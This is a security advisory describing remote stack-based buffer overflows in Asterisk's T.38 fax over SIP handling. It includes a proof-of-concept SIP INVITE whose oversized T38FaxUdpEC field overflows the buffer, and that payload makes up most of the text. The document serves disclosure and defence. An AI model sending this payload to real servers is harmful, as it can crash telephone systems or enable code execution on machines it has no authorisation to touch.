source: https://www.securityfocus.com/bid/23648/info

Asterisk is prone to multiple remote stack-based buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data before copying it to insufficiently sized buffers.

Successful exploits may allow an attacker to execute arbitrary machine code to compromise an affected computer or to cause denial-of-service conditions.

Versions prior to Asterisk Open Source 1.4.3, AsteriskNOW Beta 6, and Asterisk Appliance Developer Kit 0.4.0 are vulnerable.

NOTE: These issues occur only when 't38 fax over SIP' is enabled in 'sip.conf'.

INVITE sip:200@127.0.0.1 SIP/2.0

Date: Wed, 21 Mar 2007 4:20:09 GMT

CSeq: 1 INVITE

Via: SIP/2.0/UDP

10.0.0.123:5068;branch=z9hG4bKfe06f452-2dd6-db11-6d02-000b7d0dc672;rport

User-Agent: NGS/2.0

From: "Barrie Dempster"

<sip:zeedo@10.0.0.123:5068>;tag=de92d852-2dd6-db11-9d02-000b7d0dc672

Call-ID: f897d952-2fa6-db49441-9d02-001b7d0dc672@hades

To: <sip:200@localhost>

Contact: <sip:zeedo@10.0.0.123:5068;transport=udp>

Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE

Content-Type: application/sdp

Content-Length: 796

Max-Forwards: 70

v=0

o=rtp 1160124458839569000 160124458839569000 IN IP4 127.0.0.1

s=-

c=IN IP4 127.0.0.1

t=0 0

m=image 5004 UDPTL t38

a=T38FaxVersion:0

a=T38MaxBitRate:14400

a=T38FaxMaxBuffer:1024

a=T38FaxMaxDatagram:238

a=T38FaxUdpEC:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAA